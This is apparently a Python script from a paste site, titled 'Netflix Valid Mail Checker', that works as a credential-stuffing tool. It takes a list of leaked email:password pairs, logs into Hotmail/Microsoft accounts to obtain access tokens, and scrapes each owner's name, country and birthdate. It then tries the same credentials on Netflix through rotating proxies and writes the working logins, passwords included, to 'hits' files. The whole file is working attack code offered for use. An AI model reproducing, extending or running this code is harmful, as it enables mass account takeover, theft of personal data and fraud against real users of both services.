Netflix Valid Mail Checker

Public

.PY

Guest Jul 19, 2026 38 .PY

Save New

import os, sys, io, time, json, uuid
import datetime, requests, threading, concurrent.futures
from colorama import Fore, Style, init
import random
import re
import urllib.parse
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
from threading import Lock, Semaphore
init(autoreset=True)

R = Fore.RED
G = Fore.GREEN
Y = Fore.YELLOW
B = Fore.BLUE
M = Fore.MAGENTA
C = Fore.CYAN
W = Fore.WHITE
WHITE = Fore.WHITE
HEADER = Fore.CYAN
HITS_COLOR = Fore.LIGHTGREEN_EX
BAD_COLOR = Fore.LIGHTRED_EX
RETRY_COLOR = Fore.LIGHTYELLOW_EX
INFO = Fore.CYAN
SUCCESS = Fore.GREEN
ERROR = Fore.RED
WARNING = Fore.YELLOW
MAGENTA = Fore.MAGENTA
RESET = Style.RESET_ALL

# Global counters and locks
lock = threading.Lock()
hit = 0
bad = 0
retry = 0
total_combos = 0
processed = 0
netflix_hits = 0
netflix_checked = 0
checked_accounts = set()
rate_limit_semaphore = Semaphore(100)
proxies_list = []
proxy_index = 0
proxy_lock = Lock()

def get_next_proxy():
    """Get next proxy in rotation"""
    global proxy_index
    if not proxies_list:
        return None
    
    with proxy_lock:
        proxy = proxies_list[proxy_index]
        proxy_index = (proxy_index + 1) % len(proxies_list)
        return proxy

def load_proxies(file_path):
    """Load proxies from file in format ip:port:user:pass"""
    global proxies_list
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            for line in f:
                line = line.strip()
                if ':' in line:
                    parts = line.split(':')
                    if len(parts) == 4:
                        ip, port, user, password = parts
                        proxy_url = f"http://{user}:{password}@{ip}:{port}"
                        proxies_list.append({
                            'http': proxy_url,
                            'https': proxy_url
                        })
        
        if proxies_list:
            print(f"{SUCCESS}[✓] Loaded {len(proxies_list)} proxies")
            return True
        else:
            print(f"{WARNING}[!] No valid proxies found in file")
            return False
    except FileNotFoundError:
        print(f"{WARNING}[!] Proxy file not found. Netflix will be checked without proxy.")
        return False
    except Exception as e:
        print(f"{ERROR}[!] Error loading proxies: {e}")
        return False

class NetflixVMSubChecker:
    def __init__(self):
        self.session = requests.Session()
        self.base_headers = {
            'sec-ch-ua': '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-ch-ua-platform-version': '"15.0.0"',
            'sec-ch-ua-model': '""',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept-Encoding': 'gzip, deflate'
        }
    
    def _random_string(self, length=32):
        import string
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
    def check_account(self, email: str, password: str, use_proxy=True) -> dict:
        """Check Netflix account with VM + Sub logic"""
        proxy = get_next_proxy() if use_proxy else None
        
        try:
            # Step 1: Get Netflix homepage
            success, auth_url, esn, esn_prefix, ui_version = self._get_homepage(proxy)
            
            if not success:
                return {'status': 'FAILED', 'message': 'Failed to load Netflix homepage'}
            
            # Step 2: Check if email is registered
            is_registered, message = self._check_email_registration(
                email, auth_url, esn, esn_prefix, ui_version, proxy
            )
            
            if not is_registered:
                return {'status': 'INVALID', 'message': message}
            
            # Step 3: Login and check subscription
            login_success, subscription_status, netflix_id = self._login_and_check_subscription(
                email, password, auth_url, esn, esn_prefix, ui_version, proxy
            )
            
            if not login_success:
                return {'status': 'INVALID', 'message': 'Invalid password'}
            
            # Determine result
            if subscription_status == "CURRENT_MEMBER":
                status = "HIT_SUBSCRIPTION"
                has_subscription = True
            elif subscription_status in ["NEVER_MEMBER", "FORMER_MEMBER"]:
                status = "HIT_NO_SUBSCRIPTION"
                has_subscription = False
            else:
                status = "HIT_UNKNOWN"
                has_subscription = False
            
            return {
                'status': status,
                'has_subscription': has_subscription,
                'subscription_status': subscription_status,
                'netflix_id': netflix_id,
                'esn': esn,
                'ui_version': ui_version
            }
            
        except Exception as e:
            return {'status': 'ERROR', 'message': f'Error: {str(e)}'}
    
    def _get_homepage(self, proxy=None) -> tuple:
        try:
            url = "https://www.netflix.com/"
            headers = {
                **self.base_headers,
                'Upgrade-Insecure-Requests': '1',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
                'Sec-Fetch-Site': 'same-origin',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-User': '?1',
                'Sec-Fetch-Dest': 'document',
                'Referer': 'https://www.netflix.com/login'
            }
            
            response = self.session.get(url, headers=headers, proxies=proxy, timeout=20)
            
            if response.status_code != 200:
                return False, None, None, None, None
            
            html = response.text
            
            # Extract tokens
            auth_url_match = re.search(r'"authURL":"([^"]+)"', html)
            if not auth_url_match:
                return False, None, None, None, None
            auth_url = auth_url_match.group(1).encode().decode('unicode_escape')
            
            esn_match = re.search(r'"esn":"([^"]+)"', html)
            esn = esn_match.group(1) if esn_match else ""
            
            esn_prefix_match = re.search(r'"X-Netflix\.esnPrefix":"([^"]+)"', html)
            esn_prefix = esn_prefix_match.group(1) if esn_prefix_match else ""
            
            ui_version_match = re.search(r'"X-Netflix\.uiVersion":"([^"]+)"', html)
            ui_version = ui_version_match.group(1) if ui_version_match else ""
            
            return True, auth_url, esn, esn_prefix, ui_version
            
        except:
            return False, None, None, None, None
    
    def _check_email_registration(self, email: str, auth_url: str, esn: str, 
                                   esn_prefix: str, ui_version: str, proxy=None) -> tuple:
        try:
            email_encoded = urllib.parse.quote(email)
            auth_url_encoded = urllib.parse.quote(auth_url)
            
            body = (
                f"authURL={auth_url_encoded}"
                f"&tracingId={ui_version}"
                f"&tracingGroupId=www.netflix.com"
                f"&esn={esn}"
                f"&param=%7B%22flow%22%3A%22signupSimplicity%22%2C%22mode%22%3A%22welcome%22%2C%22action%22%3A%22saveAction%22%2C%22fields%22%3A%7B%22email%22%3A%7B%22value%22%3A%22{email_encoded}%22%7D%7D%7D"
            )
            
            url = "https://www.netflix.com/api/aui/pathEvaluator/web/%5E2.0.0"
            params = {
                'landingURL': '/',
                'landingOrigin': 'https://www.netflix.com',
                'inapp': 'false',
                'languages': 'en-US',
                'netflixClientPlatform': 'browser',
                'supportCategory': 'innovation',
                'method': 'call',
                'callPath': '["aui","moneyball","next"]',
                'falcor_server': '0.1.0'
            }
            
            headers = {
                **self.base_headers,
                'x-netflix.request.client.context': '{"appstate":"foreground"}',
                'x-netflix.osname': 'Windows',
                'x-netflix.browserversion': '130',
                'x-netflix.uiversion': ui_version,
                'x-netflix.browsername': 'Chrome',
                'x-netflix.osfullname': 'Windows 10',
                'x-netflix.nq.stack': 'prod',
                'x-netflix.request.routing': '{"path":"/nq/aui/endpoint/%5E1.0.0-web/pathEvaluator","control_tag":"auinqweb"}',
                'x-netflix.esnprefix': esn_prefix,
                'content-type': 'application/x-www-form-urlencoded',
                'x-netflix.client.request.name': 'ui/xhrUnclassified',
                'x-netflix.request.attempt': '1',
                'x-netflix.osversion': '10.0',
                'x-netflix.clienttype': 'akira',
                'x-netflix.request.id': self._random_string(32),
                'Accept': '*/*',
                'Origin': 'https://www.netflix.com',
                'Sec-Fetch-Site': 'same-origin',
                'Sec-Fetch-Mode': 'cors',
                'Sec-Fetch-Dest': 'empty',
                'Referer': 'https://www.netflix.com/',
                'Content-Length': str(len(body))
            }
            
            response = self.session.post(url, params=params, headers=headers, 
                                        data=body, proxies=proxy, timeout=20)
            
            if '"code":"BadRequest"' in response.text:
                return False, "Email not registered"
            
            return True, "Email is registered"
            
        except:
            return False, "Error checking email"
    
    def _login_and_check_subscription(self, email: str, password: str, auth_url: str,
                                      esn: str, esn_prefix: str, ui_version: str, proxy=None) -> tuple:
        try:
            email_encoded = urllib.parse.quote(email)
            auth_url_encoded = urllib.parse.quote(auth_url)
            
            body = (
                f"allocations=%7B%2264593%22%3A2%2C%2265451%22%3A9%2C%2265452%22%3A3%2C%2265654%22%3A2%7D"
                f"&tracingId={ui_version}"
                f"&tracingGroupId=www.netflix.com"
                f"&esn={esn}"
                f"&authURL={auth_url_encoded}"
                f"&param=%7B%22flow%22%3A%22signupSimplicity%22%2C%22mode%22%3A%22passwordOnly%22%2C%22action%22%3A%22loginAction%22%2C%22fields%22%3A%7B%22password%22%3A%7B%22value%22%3A%22{urllib.parse.quote(password)}%22%7D%2C%22email%22%3A%7B%22value%22%3A%22{email_encoded}%22%7D%2C%22previousMode%22%3A%22%22%7D%7D"
            )
            
            url = "https://www.netflix.com/api/aui/pathEvaluator/web/%5E2.0.0"
            params = {
                'landingURL': '/signup/password',
                'landingOrigin': 'https://www.netflix.com',
                'inapp': 'false',
                'isConsumptionOnly': 'false',
                'logConsumptionOnly': 'false',
                'languages': 'en-US',
                'netflixClientPlatform': 'browser',
                'supportCategory': 'innovation',
                'method': 'call',
                'callPath': '["aui","moneyball","next"]',
                'falcor_server': '0.1.0'
            }
            
            headers = {
                **self.base_headers,
                'x-netflix.request.client.context': '{"appstate":"foreground"}',
                'x-netflix.osname': 'Windows',
                'x-netflix.browserversion': '130',
                'x-netflix.uiversion': ui_version,
                'x-netflix.browsername': 'Chrome',
                'x-netflix.osfullname': 'Windows 10',
                'x-netflix.nq.stack': 'prod',
                'x-netflix.request.routing': '{"path":"/nq/aui/endpoint/%5E1.0.0-web/pathEvaluator","control_tag":"auinqweb"}',
                'x-netflix.esnprefix': esn_prefix,
                'content-type': 'application/x-www-form-urlencoded',
                'x-netflix.client.request.name': 'ui/xhrUnclassified',
                'x-netflix.request.attempt': '1',
                'x-netflix.osversion': '10.0',
                'x-netflix.clienttype': 'akira',
                'x-netflix.request.id': self._random_string(32),
                'Accept': '*/*',
                'Origin': 'https://www.netflix.com',
                'Sec-Fetch-Site': 'same-origin',
                'Sec-Fetch-Mode': 'cors',
                'Sec-Fetch-Dest': 'empty',
                'Referer': 'https://www.netflix.com/signup/password?locale=en-US',
                'Content-Length': str(len(body))
            }
            
            response = self.session.post(url, params=params, headers=headers,
                                        data=body, proxies=proxy, timeout=20)
            
            response_text = response.text
            
            # Get Netflix ID
            netflix_id = None
            if 'NetflixId' in self.session.cookies:
                netflix_id = self.session.cookies['NetflixId']
            
            # Check subscription status
            if '"value":"CURRENT_MEMBER"' in response_text:
                return True, "CURRENT_MEMBER", netflix_id
            elif 'value":"NEVER_MEMBER' in response_text:
                return True, "NEVER_MEMBER", netflix_id
            elif 'value":"FORMER_MEMBER"' in response_text:
                return True, "FORMER_MEMBER", netflix_id
            elif 'value":"NON_REGISTERED_MEMBER' in response_text:
                return False, "NON_REGISTERED_MEMBER", None
            
            return True, "UNKNOWN", netflix_id
            
        except:
            return False, "ERROR", None

def display_banner():
    banner = f"""
{G}╔═══════════════════════════════════════════════════════════════════╗
║                                                                   ║
║      HOTMAIL + NETFLIX VM SUB CHECKER -  BY BARON SAPLAR     ║
║                                                                   ║
║                     ║
║                ║
║                                                                   ║
╚═══════════════════════════════════════════════════════════════════╝{RESET}
"""
    print(banner)

def update_progress():
    """Clean progress update without newlines"""
    global hit, bad, retry, processed, total_combos, netflix_hits, netflix_checked
    
    with lock:
        progress_percent = min((processed / total_combos * 100), 100) if total_combos > 0 else 0
        
        # Clear line and update
        progress_line = (
            f"\r{WHITE}[{progress_percent:5.1f}%] "
            f"Checked: {processed}/{total_combos} | "
            f"{HITS_COLOR}Hotmail: {hit}{WHITE} | "
            f"{BAD_COLOR}Bad: {bad}{WHITE} | "
            f"{M}Netflix: {netflix_checked}{WHITE} | "
            f"{G}NFX Hits: {netflix_hits}{RESET}"
        )
        
        sys.stdout.write(progress_line)
        sys.stdout.flush()

def save_netflix_capture(email, password, hotmail_data, netflix_data):
    """Save combined capture"""
    global netflix_hits
    
    subscription_emoji = "🔥" if netflix_data.get('has_subscription') else "❌"
    subscription_text = "CURRENT MEMBER" if netflix_data.get('has_subscription') else netflix_data.get('subscription_status', 'N/A')
    
    capture = f"""
╔═══════════════════════════════════════════════════════════════════╗
║                    HOTMAIL + NETFLIX CAPTURE                      ║
╚═══════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━ HOTMAIL ACCOUNT ━━━━━━━━━━━━━━━━━━━━━
Email : {email}
Password : {password}

Name : {hotmail_data.get('name', 'N/A')}
Country : {hotmail_data.get('country_flag', '')} {hotmail_data.get('country', 'N/A')}
Birthdate : {hotmail_data.get('birthdate', 'N/A')}

━━━━━━━━━━━━━━━━━━━━ NETFLIX STATUS ━━━━━━━━━━━━━━━━━━━━━
Status : {subscription_emoji} {subscription_text}
Has Subscription : {'YES 🔥' if netflix_data.get('has_subscription') else 'NO'}
Netflix ID : {netflix_data.get('netflix_id', 'N/A')}
ESN : {netflix_data.get('esn', 'N/A')}

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Date: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

"""
    
    # Save to files
    if netflix_data.get('has_subscription'):
        filename = 'Netflix-Subscription-Hits.txt'
        with lock:
            netflix_hits += 1
    else:
        filename = 'Netflix-NoSubscription-Hits.txt'
    
    with open(filename, 'a', encoding='utf-8') as f:
        f.write(capture)
    
    with open('Hotmail-Netflix-Combined-Hits.txt', 'a', encoding='utf-8') as f:
        f.write(capture)

def get_hotmail_capture(email, password, token, cid):
    """Get Hotmail data"""
    try:
        headers = {
            "User-Agent": "Outlook-Android/2.0",
            "Pragma": "no-cache",
            "Accept": "application/json",
            "ForceSync": "false",
            "Authorization": f"Bearer {token}",
            "X-AnchorMailbox": f"CID:{cid}",
            "Host": "substrate.office.com",
            "Connection": "Keep-Alive",
            "Accept-Encoding": "gzip"
        }
        response = requests.get("https://substrate.office.com/profileb2/v2.0/me/V1Profile", 
                               headers=headers, timeout=30).json()
        
        name = response.get('names', [{}])[0].get('displayName', 'Unknown')
        country = response.get('accounts', [{}])[0].get('location', 'Unknown')
        
        try:
            import pycountry
            country_obj = pycountry.countries.lookup(country)
            country_flag = ''.join(chr(127397 + ord(c)) for c in country_obj.alpha_2)
        except:
            country_flag = '🏳'
        
        try:
            birthdate = "{:04d}-{:02d}-{:02d}".format(
                response["accounts"][0]["birthYear"],
                response["accounts"][0]["birthMonth"],
                response["accounts"][0]["birthDay"]
            )
        except:
            birthdate = "Unknown"
        
        return {
            'name': name,
            'country': country,
            'country_flag': country_flag,
            'birthdate': birthdate
        }
            
    except:
        return {
            'name': 'Unknown',
            'country': 'Unknown',
            'country_flag': '🏳',
            'birthdate': 'Unknown'
        }

def check_account(email, password):
    """Check Hotmail WITHOUT proxy"""
    try:
        session = requests.Session()
        
        # IDP Check
        url1 = f"https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=1&emailAddress={email}"
        r1 = session.get(url1, headers={"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 9)"}, timeout=15)
        
        if any(x in r1.text for x in ["Neither", "Both", "Placeholder", "OrgId"]) or "MSAccount" not in r1.text:
            return {"status": "BAD"}
        
        # OAuth
        url2 = f"https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_info=1&haschrome=1&login_hint={email}&response_type=code&client_id=e9b154d0-7658-433b-bb25-6b8e0a8a7c59&scope=profile%20openid%20offline_access&redirect_uri=msauth%3A%2F%2Fcom.microsoft.outlooklite%2Ffcg80qvoM1YMKJZibjBwQcDfOno%253D"
        r2 = session.get(url2, headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, timeout=15)
        
        url_match = re.search(r'urlPost":"([^"]+)"', r2.text)
        ppft_match = re.search(r'name=\\"PPFT\\" id=\\"i0327\\" value=\\"([^"]+)"', r2.text)
        
        if not url_match or not ppft_match:
            return {"status": "BAD"}
        
        post_url = url_match.group(1).replace("\\/", "/")
        ppft = ppft_match.group(1)
        
        # Login
        login_data = f"i13=1&login={email}&loginfmt={email}&type=11&LoginOptions=1&passwd={password}&ps=2&PPFT={ppft}&PPSX=PassportR&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&i19=9960"
        
        r3 = session.post(post_url, data=login_data, headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Origin": "https://login.live.com",
            "Referer": r2.url
        }, allow_redirects=False, timeout=15)
        
        if any(x in r3.text for x in ["account or password is incorrect", "error", "Incorrect password", "Invalid credentials"]):
            return {"status": "BAD"}
        
        if any(url in r3.text for url in ["identity/confirm", "Abuse", "signedout", "locked"]):
            return {"status": "BAD"}
            
        location = r3.headers.get("Location", "")
        if not location:
            return {"status": "BAD"}
        
        code_match = re.search(r'code=([^&]+)', location)
        if not code_match:
            return {"status": "BAD"}
        
        code = code_match.group(1)
        
        # Token
        token_data = {
            "client_info": "1",
            "client_id": "e9b154d0-7658-433b-bb25-6b8e0a8a7c59",
            "redirect_uri": "msauth://com.microsoft.outlooklite/fcg80qvoM1YMKJZibjBwQcDfOno%3D",
            "grant_type": "authorization_code",
            "code": code,
            "scope": "profile openid offline_access https://outlook.office.com/M365.Access"
        }
        
        r4 = session.post("https://login.microsoftonline.com/consumers/oauth2/v2.0/token", 
                         data=token_data, timeout=15)
        
        if r4.status_code != 200 or "access_token" not in r4.text:
            return {"status": "BAD"}
        
        token_json = r4.json()
        access_token = token_json["access_token"]
        
        # CID
        mspcid = None
        for cookie in session.cookies:
            if cookie.name == "MSPCID":
                mspcid = cookie.value
                break
        cid = mspcid.upper() if mspcid else str(uuid.uuid4()).upper()
        
        return {"status": "HIT", "token": access_token, "cid": cid}
        
    except requests.exceptions.Timeout:
        return {"status": "RETRY"}
    except Exception as e:
        return {"status": "RETRY"}

def check_combo(email, password):
    global hit, bad, retry, processed, netflix_checked
    
    account_id = f"{email}:{password}"
    if account_id in checked_accounts:
        with lock:
            processed += 1
        update_progress()
        return
        
    checked_accounts.add(account_id)
    
    with rate_limit_semaphore:
        time.sleep(random.uniform(0.01, 0.05))
        
        # Check Hotmail (no proxy)
        result = check_account(email, password)
        
        if result["status"] == "HIT":
            with lock:
                hit += 1
                processed += 1
            
            # Get Hotmail data
            hotmail_data = get_hotmail_capture(email, password, result["token"], result["cid"])
            
            # Print on new line for HIT
            print(f"\n{HITS_COLOR}[✓] Hotmail HIT: {email} - Checking Netflix...{RESET}")
            
            # Check Netflix WITH proxy
            netflix_checker = NetflixVMSubChecker()
            netflix_result = netflix_checker.check_account(email, password, use_proxy=True)
            
            with lock:
                netflix_checked += 1
            
            if netflix_result['status'] in ['HIT_SUBSCRIPTION', 'HIT_NO_SUBSCRIPTION', 'HIT_UNKNOWN']:
                save_netflix_capture(email, password, hotmail_data, netflix_result)
                
                if netflix_result.get('has_subscription'):
                    print(f"{G}[🔥] NETFLIX SUBSCRIPTION: {email}{RESET}")
                else:
                    print(f"{Y}[+] Netflix valid (no sub): {email}{RESET}")
            else:
                print(f"{R}[-] Netflix check failed: {email}{RESET}")
            
        elif result["status"] == "BAD":
            with lock:
                bad += 1
                processed += 1
        elif result["status"] == "RETRY":
            with lock:
                retry += 1
                processed += 1
        else:
            with lock:
                bad += 1
                processed += 1
        
        update_progress()

def main():
    global total_combos, processed
    
    display_banner()
    print(f"{G}[✔️] Combined Hotmail + Netflix VM Sub Checker{RESET}")
    print(f"{'─'*70}")
    
    file_path = input(f"{INFO}Combo File: {RESET}").strip()
    
    # Ask for proxy file
    use_proxy = input(f"{INFO}Use proxy for Netflix? (y/n): {RESET}").strip().lower()
    
    if use_proxy == 'y':
        proxy_file = input(f"{INFO}Proxy File (ip:port:user:pass): {RESET}").strip()
        if not load_proxies(proxy_file):
            print(f"{WARNING}[!] Continuing without proxies...{RESET}")
    else:
        print(f"{WARNING}[!] Netflix will be checked without proxy{RESET}")
    
    while True:
        try:
            num_threads = int(input(f"{INFO}Threads (20-100): {RESET}"))
            if 1 <= num_threads <= 500:
                break
            else:
                print(f"{ERROR}[!] Enter between 1-500{RESET}")
        except ValueError:
            print(f"{ERROR}[!] Enter valid number{RESET}")
    
    try:
        with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
            lines = [line.strip() for line in f if ":" in line]
        total_combos = len(lines)
    except FileNotFoundError:
        print(f"{ERROR}[!] File not found: {file_path}{RESET}")
        exit(1)
    except Exception as e:
        print(f"{ERROR}[!] Error: {e}{RESET}")
        exit(1)
    
    print(f"{'─'*70}")
    print(f"{INFO}[*] Total combos: {total_combos}{RESET}")
    print(f"{INFO}[*] Threads: {num_threads}{RESET}")
    print(f"{INFO}[*] Starting...{RESET}\n")
    
    update_progress()
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = []
        for line in lines:
            try:
                email, password = line.split(":", 1)
                futures.append(executor.submit(check_combo, email.strip(), password.strip()))
            except ValueError:
                continue
        
        for future in concurrent.futures.as_completed(futures):
            try:
                future.result()
            except Exception:
                with lock:
                    retry += 1
                    processed += 1
                update_progress()
    
    # Final stats
    print(f"\n\n{SUCCESS}╔═══════════════════════════════════════════════════════════════════╗{RESET}")
    print(f"{SUCCESS}║                        CHECKING COMPLETE                          ║{RESET}")
    print(f"{SUCCESS}╚═══════════════════════════════════════════════════════════════════╝{RESET}\n")
    print(f"{INFO}Final Statistics:{RESET}")
    print(f"{HITS_COLOR}  Hotmail Hits: {hit}{RESET}")
    print(f"{BAD_COLOR}  Bad: {bad}{RESET}")
    print(f"{RETRY_COLOR}  Retries: {retry}{RESET}")
    print(f"{M}  Netflix Checked: {netflix_checked}{RESET}")
    print(f"{G}  Netflix Subscription Hits: {netflix_hits}{RESET}")
    
    print(f"\n{INFO}Output Files:{RESET}")
    if os.path.exists('Netflix-Subscription-Hits.txt'):
        print(f"{G}  ✓ Netflix-Subscription-Hits.txt{RESET}")
    if os.path.exists('Netflix-NoSubscription-Hits.txt'):
        print(f"{Y}  ✓ Netflix-NoSubscription-Hits.txt{RESET}")
    if os.path.exists('Hotmail-Netflix-Combined-Hits.txt'):
        print(f"{C}  ✓ Hotmail-Netflix-Combined-Hits.txt{RESET}")

if __name__ == "__main__":
    main()

Netflix Valid Mail Checker

Scan to View